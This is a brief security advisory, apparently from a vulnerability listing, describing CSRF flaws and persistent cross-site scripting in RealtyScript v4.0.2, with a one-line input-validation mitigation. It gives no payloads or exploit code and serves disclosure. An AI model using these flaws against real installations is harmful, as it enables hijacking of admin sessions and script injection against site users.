RealtyScript v4.0.2 Multiple CSRF And Persistent XSS Vulnerabilities

The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Multiple cross-site scripting vulnerabilities were also discovered. The issue is triggered when input passed via the multiple parameters is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Mitigation:

Input validation should be used to prevent the execution of malicious scripts.
